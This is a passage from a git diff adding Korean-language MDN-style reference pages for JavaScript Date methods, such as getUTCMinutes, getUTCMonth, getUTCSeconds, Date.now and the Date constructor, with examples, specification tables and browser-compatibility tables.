+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html
new file mode 100644
index 0000000000..45c453dced
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcminutes/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCMinutes()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCMinutes()</strong> 메서드는 표준시에 따라 지정된 날짜의 분을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMinutes()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 59까지의 정수로, 표준시에 따라 지정된 날짜의 분을 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCMinutes()">Using <code>getUTCMinutes()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 분 부분을 minutes 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var minutes = today.getUTCMinutes();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.21', 'Date.prototype.getUTCMinutes')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcminutes', 'Date.prototype.getUTCMinutes')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html
new file mode 100644
index 0000000000..b4031536d6
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcmonth/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCMonth()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCMonth()</strong>는 지정된 날짜의 월을 0부터 시작하는 값 (0은 첫 해를 나타냄)으로 표준시에 따라 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMonth()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 11까지의 정수로, 표준시에 따라 주어진 날짜의 달에 해당합니다. 1 월은 0, 2 월은 1, 3 월은 2 등입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCMonth()">Using <code>getUTCMonth()</code></h3>
+
+<p>다음 예제에서는 현재 날짜의 월 부분을 month 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var month = today.getUTCMonth();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.13', 'Date.prototype.getUTCMonth')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcmonth', 'Date.prototype.getUTCMonth')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html
new file mode 100644
index 0000000000..d643903df7
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcseconds/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCSeconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCSeconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 초를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCSeconds()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 59까지의 정수로, 표준시에 따라 지정된 날짜의 초를 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCSeconds()">Using <code>getUTCSeconds()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 초 부분을 초 변수에 지정합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var seconds = today.getUTCSeconds();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.23', 'Date.prototype.getUTCSeconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcseconds', 'Date.prototype.getUTCSeconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/index.html b/files/ko/web/javascript/reference/global_objects/date/index.html
new file mode 100644
index 0000000000..d9cf05bbdb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/index.html
@@ -0,0 +1,239 @@
+---
+title: Date
+slug: Web/JavaScript/Reference/Global_Objects/Date
+tags:
+ - Constructor
+ - Date
+ - JavaScript
+ - Reference
+ - 날짜
+ - 시간
+translation_of: Web/JavaScript/Reference/Global_Objects/Date
+---
+<div>{{JSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>Date</code></strong> 생성자는 시간의 특정 지점을 나타내는 <code>Date</code> 객체를 생성합니다.</span> <code>Date</code> 객체는 1970년 1월 1일 UTC(국제표준시) 00:00으로부터 지난 시간을 밀리초로 나타내는 <a href="http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_16">유닉스 타임스탬프</a>를 사용합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/date-constructor.html")}}</div>
+
+
+
+<h2 id=".EC.83.9D.EC.84.B1" name=".EC.83.9D.EC.84.B1"><code>Date</code> 객체 초기화</h2>
+
+<p>JavaScript Date 객체를 생성하는 법은 {{jsxref("new")}} 연산자를 사용하는 것이 유일합니다.</p>
+
+<pre class="brush: js">let now = new Date();</pre>
+
+<p>단순히 {{jsxref("Date", "Date")}} 객체를 직접 호출했을 때, 반환 값은 <code>Date</code> 객체가 아니라 날짜를 나타낸 문자열입니다. JavaScript는 <code>Date</code> 리터럴 구문이 없습니다.</p>
+
+<h2 id=".EC.83.9D.EC.84.B1" name=".EC.83.9D.EC.84.B1">구문</h2>
+
+<pre class="syntaxbox">new Date();
+new Date(<var>value</var>);
+new Date(<var>dateString</var>);
+new Date(<var>year</var>, <var>monthIndex</var>[, <var>day</var>[, <var>hour</var>[, <var>minutes</var>[, <var>seconds</var>[, <var>milliseconds</var>]]]]]);
+</pre>
+
+<h3 id=".ED.8C.8C.EB.9D.BC.EB.AF.B8.ED.84.B0" name=".ED.8C.8C.EB.9D.BC.EB.AF.B8.ED.84.B0">매개변수</h3>
+
+<p><code>Date()</code> 생성자는 네 가지 형태로 사용할 수 있습니다.</p>
+
+<h4 id="매개변수_없음">매개변수 없음</h4>
+
+<p>매개변수를 제공하지 않으면, 현지 시간으로 생성 순간의 날짜와 시간을 나타내는 <code>Date</code> 객체를 생성합니다.</p>
+
+<h4 id="유닉스_타임스탬프">유닉스 타임스탬프</h4>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd><a href="http://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_16">유닉스 타임스탬프</a>, 즉 1970년 1월 1일 00:00:00 UTC(유닉스 시간)부터의 시간을 밀리초 단위로 표현하되 윤초는 무시한 정숫값. 대부분의 유닉스 타임스탬프 함수는 초 단위까지만 정확함을 유의하세요.</dd>
+ <dt>
+ <h4 id="타임스탬프_문자열">타임스탬프 문자열</h4>
+ </dt>
+ <dt><code>dateString</code></dt>
+ <dd>날짜를 표현하는 문자열값. {{jsxref("Date.parse()")}} 메서드가 인식할 수 있는 형식(<a href="http://tools.ietf.org/html/rfc2822#page-14">IETF 호환 RFC 2822 타임스탬프</a>와 <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-15.9.1.15">ISO8601의 한 버전</a>)이어야 합니다
+ <div class="note"><strong>참고</strong>: <code>Date</code> 생성자(와 <code>Date.parse</code>)를 사용해 날짜 문자열에서 시간을 알아내는건 하지 않는 것이 좋습니다. 브라우저 간 차이와 여러 비일관성이 존재하며 RFC 2822 규격 문자열의 지원은 관례일 뿐입니다. ISO 8601 규격 문자열은 시간 정보가 없을 때("1970-01-01" 등) 현지 시간이 아닌 UTC 기준으로 처리합니다.</div>
+ </dd>
+</dl>
+
+<h4 id="개별_날짜_및_시간_구성_요소">개별 날짜 및 시간 구성 요소</h4>
+
+<p>적어도 연도와 월이 주어지면, 자신의 구성 요소(연, 월, 일, 시, 분, 초, 밀리초)를 모두 매개변수의 값에서 가져오는 <code>Date</code> 객체를 생성합니다. 누락한 요소에는 가장 낮은 값(<code>day</code>는 1, 나머지는 0)을 사용합니다.</p>
+
+<dl>
+ <dt><code>year</code></dt>
+ <dd>연도를 나타내는 정숫값. 0부터 99는 1900부터 1999로 처리합니다. {{anch("두 자리 연도는 1900년대로", "아래 예제")}}를 참고하세요.</dd>
+ <dt><code>monthIndex</code></dt>
+ <dd>월을 나타내는 정숫값. 0은 1월을 나타내고 11은 12월을 나타냅니다.</dd>
+ <dt><code>day</code> {{optional_inline}}</dt>
+ <dd>일을 나타내는 정숫값. 기본값은 1입니다.</dd>
+ <dt><code>hours</code> {{optional_inline}}</dt>
+ <dd>시를 나타내는 정숫값. 기본값은 0(자정)입니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>minutes</code> {{optional_inline}}</dt>
+ <dd>분을 나타내는 정숫값. 기본값은 0분입니다.</dd>
+ <dt><code>seconds</code> {{optional_inline}}</dt>
+ <dd>초를 나타내는 정숫값. 기본값은 0초입니다.</dd>
+ <dt><code>milliseconds</code> {{optional_inline}}</dt>
+ <dd>밀리초를 나타내는 정숫값. 기본값은 0밀리초입니다.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<h3 id="유닉스_시간과_타임스탬프">유닉스 시간과 타임스탬프</h3>
+
+<p>JavaScript 날짜는 1970년 1월 1일 자정 (UTC)로부터 지난 시간을 밀리초 단위로 나타낸 것입니다. 이 날짜와 시간을 합쳐 <strong>유닉스 시간</strong>이라고 부릅니다. 유닉스 시간은 컴퓨터로 날짜와 시간을 기록할 때 널리 사용하는 기준점입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 시간과 날짜는 현시 시간으로 저장된다는 점을 기억하는게 중요합니다. 시간, 날짜, 아니면 각각의 구성 요소를 회수하는 기본 메서드도 현지 시간에서 동작합니다.</p>
+</div>
+
+<p>하루는 86,400,000 밀리초입니다. 타임스탬프 기록에 사용하는 수의 크기를 고려했을 때, Date 객체는 유닉스 시간으로부터 약 ±100,000,000일 (1억일)을 기록할 수 있습니다. 따라서 293,742년이 오면 문제가 발생할 여지가 있습니다.</p>
+
+<h3 id="날짜_형식과_시간대_변환">날짜 형식과 시간대 변환</h3>
+
+<p>날짜를 얻는 방법과 시간대를 바꾸는 메서드는 여럿 있습니다. 그 중 특히 유용한 함수는 날짜 및 시간을 국제 표준 시간인 협정 표준시(UTC)로 반환하는 함수입니다. UTC는 그리니치 시간대라고도 불리는데, 기준 시간대가 영국의 런던과 인근의 그리니치를 지나는 경선이기 때문입니다. 사용자의 장치는 현지 시간을 제공합니다.</p>
+
+<p>{{jsxref("Date.getDay", "getDay()")}}와 {{jsxref("Date.setHours", "setHours()")}}처럼 현지 시간을 기준으로 한 구성요소 읽기 및 쓰기 메서드처럼, {{jsxref("Date.getDayUTC", "getUTCDay()")}} 와 {{jsxref("Date.setHoursUTC", "setUTCHours()")}}처럼 UTC를 기준으로 하는 읽기 및 쓰기 메서드도 존재합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{jsxref("Date.prototype")}}</dt>
+ <dd><code>Date</code> 객체에 추가 속성을 부여할 수 있습니다.</dd>
+ <dt><code>Date.length</code></dt>
+ <dd><code>Date.length</code>의 값은 7로, 생성자가 받을 수 있는 매개변수의 수입니다. 보통 유용하게 쓸 수 있는 값은 아닙니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{jsxref("Date.now()")}}</dt>
+ <dd>1970년 1월 1일 00:00:00 UTC(유닉스 시간)부터 지난 시간을 밀리초 단위의 숫자 값으로 반환합니다. 윤초는 무시합니다.</dd>
+ <dt>{{jsxref("Date.parse()")}}</dt>
+ <dd>Parses a string representation of a date and returns the number of milliseconds since 1 January, 1970, 00:00:00, UTC.
+ <div class="note"><strong>Note:</strong> Parsing of strings with <code>Date.parse</code> is strongly discouraged due to browser differences and inconsistencies.</div>
+ </dd>
+ <dt>{{jsxref("Date.UTC()")}}</dt>
+ <dd>Accepts the same parameters as the longest form of the constructor (i.e. 2 to 7) and returns the number of milliseconds since January 1, 1970, 00:00:00 UTC, with leap seconds ignored.</dd>
+</dl>
+
+<h2 id="Date_instances" name="Date_instances">JavaScript <code>Date</code> 인스턴스</h2>
+
+<p>All <code>Date</code> instances inherit from {{jsxref("Date.prototype")}}. The prototype object of the <code>Date</code> constructor can be modified to affect all <code>Date</code> instances.</p>
+
+<h3 id="Date.prototype_메서드"><code>Date.prototype</code> 메서드</h3>
+
+<div>{{page('/ko/docs/Web/JavaScript/Reference/Global_Objects/Date/prototype', 'Methods')}}</div>
+
+<h2 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h2>
+
+<h3 id=".EC.98.88.EC.A0.9C:_.EB.82.A0.EC.A7.9C.EB.A5.BC_.EC.A7.80.EC.A0.95.ED.95.98.EB.8A.94_.EC.97.AC.EB.9F.AC.EA.B0.80.EC.A7.80_.EB.B0.A9.EB.B2.95" name=".EC.98.88.EC.A0.9C:_.EB.82.A0.EC.A7.9C.EB.A5.BC_.EC.A7.80.EC.A0.95.ED.95.98.EB.8A.94_.EC.97.AC.EB.9F.AC.EA.B0.80.EC.A7.80_.EB.B0.A9.EB.B2.95">날짜를 지정하는 여러가지 방법</h3>
+
+<p>아래 예제는 날짜를 지정하는 몇가지 방법을 보여줍니다:</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> parsing of date strings with the <code>Date</code> constructor (and <code>Date.parse</code>, they are equivalent) is strongly discouraged due to browser differences and inconsistencies.</p>
+</div>
+
+<pre class="brush: js">var today = new Date();
+var birthday = new Date("December 17, 1995 03:24:00");
+var birthday = new Date(95,11,17);
+var birthday = new Date(95,11,17,3,24,0);
+</pre>
+
+<h3 id="두_자리_연도는_1900년대로">두 자리 연도는 1900년대로</h3>
+
+<p>In order to create and get dates between the years 0 and 99 the {{jsxref("Date.prototype.setFullYear()")}} and {{jsxref("Date.prototype.getFullYear()")}} methods should be used.</p>
+
+<pre class="brush: js">var date = new Date(98, 1); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+// Deprecated method, 98 maps to 1998 here as well
+date.setYear(98); // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
+
+date.setFullYear(98); // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
+</pre>
+
+<h3 id=".EC.98.88.EC.A0.9C:_.EA.B2.BD.EA.B3.BC.EC.8B.9C.EA.B0.84_.EA.B3.84.EC.82.B0" name=".EC.98.88.EC.A0.9C:_.EA.B2.BD.EA.B3.BC.EC.8B.9C.EA.B0.84_.EA.B3.84.EC.82.B0">경과시간 계산</h3>
+
+<p>The following examples show how to determine the elapsed time between two JavaScript dates in milliseconds.</p>
+
+<p>Due to the differing lengths of days (due to daylight saving changeover), months and years, expressing elapsed time in units greater than hours, minutes and seconds requires addressing a number of issues and should be thoroughly researched before being attempted.</p>
+
+<pre class="brush: js">// Date 객체 사용
+var start = Date.now();
+
+// 시간이 오래 걸리는 작업을 여기 배치합니다
+doSomethingForALongTime();
+var end = Date.now();
+var elapsed = end - start; // 경과 시간, 밀리초.
+</pre>
+
+<pre class="brush: js">// 내장 메서드 사용
+var start = new Date();
+
+// 시간이 오래 걸리는 작업을 여기 배치합니다.
+doSomethingForALongTime();
+var end = new Date();
+var elapsed = end.getTime() - start.getTime(); // 경과 시간, 밀리초.
+</pre>
+
+<pre class="brush: js"><code>// to test a function and get back its return
+function printElapsedTime(fTest) {
+ var nStartTime = Date.now(),
+ vReturn = fTest(),
+ nEndTime = Date.now();
+
+ console.log('Elapsed time: ' + String(nEndTime - nStartTime) + ' milliseconds');
+ return vReturn;
+}
+
+var yourFunctionReturn = printElapsedTime(yourFunction);</code></pre>
+
+<div class="blockIndicator note"><strong>Note:</strong> In browsers that support the {{domxref("window.performance", "Web Performance API", "", 1)}}'s high-resolution time feature, {{domxref("Performance.now()")}} can provide more reliable and precise measurements of elapsed time than {{jsxref("Date.now()")}}.</div>
+
+<h3 id="Get_the_number_of_seconds_since_Unix_Epoch">Get the number of seconds since Unix Epoch</h3>
+
+<pre class="brush: js">var seconds = Math.floor(Date.now() / 1000);</pre>
+
+<p>In this case it's important to return only an integer (so a simple division won't do), and also to only return actually elapsed seconds (that's why this code uses {{jsxref("Math.floor()")}} and not {{jsxref("Math.round()")}}).</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date-objects', 'Date')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9', 'Date')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date", 3)}}</p>
diff --git a/files/ko/web/javascript/reference/global_objects/date/now/index.html b/files/ko/web/javascript/reference/global_objects/date/now/index.html
new file mode 100644
index 0000000000..323df8ad45
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/now/index.html
@@ -0,0 +1,119 @@
+---
+title: Date.now()
+slug: Web/JavaScript/Reference/Global_Objects/Date/now
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/now
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Date.now()</code></strong> 메소드는 UTC 기준으로 1970년 1월 1일 0시 0분 0초부터 현재까지 경과된 밀리 초를 반환합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><code>var timeInMs = Date.now();</code></pre>
+
+<h3 id="인자">인자</h3>
+
+<p>없음</p>
+
+<h2 id="설명">설명</h2>
+
+<p>now() 메소드는 1970년 1월 1일 0시 0분 0초부터 현재까지 경과된 밀리 초를 {{jsxref("Number")}} 형으로 반환합니다.</p>
+
+<p>now()는 {{jsxref("Date")}}의 정적 메소드이기 때문에, 항상 <code>Date.now() 처럼 사용하셔야 합니다.</code></p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>이 메소든는 ECMA-262 5판에서 표준화되었습니다. 아직 이 메소드를 지원하도록 갱신되지 않은 엔진들은 이 메소드의 미지원에 대한 차선책으로 다음 코드를 활용하실 수 있습니다.</p>
+
+<pre class="brush: js">if (!Date.now) {
+ Date.now = function now() {
+ return new Date().getTime();
+ };
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.now', 'Date.now')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.now', 'Date.now')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("5")}}</td>
+ <td>{{CompatGeckoDesktop("1.9")}}</td>
+ <td>{{CompatIE("9")}}</td>
+ <td>{{CompatOpera("10.50")}}</td>
+ <td>{{CompatSafari("4")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Performance.now()")}} — provides timestamps with sub-millisecond resolution for use in measuring web page performance</li>
+ <li>{{domxref("console.time()")}} / {{domxref("console.timeEnd()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/parse/index.html b/files/ko/web/javascript/reference/global_objects/date/parse/index.html
new file mode 100644
index 0000000000..57e8effa54
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/parse/index.html
@@ -0,0 +1,231 @@
+---
+title: Date.parse()
+slug: Web/JavaScript/Reference/Global_Objects/Date/parse
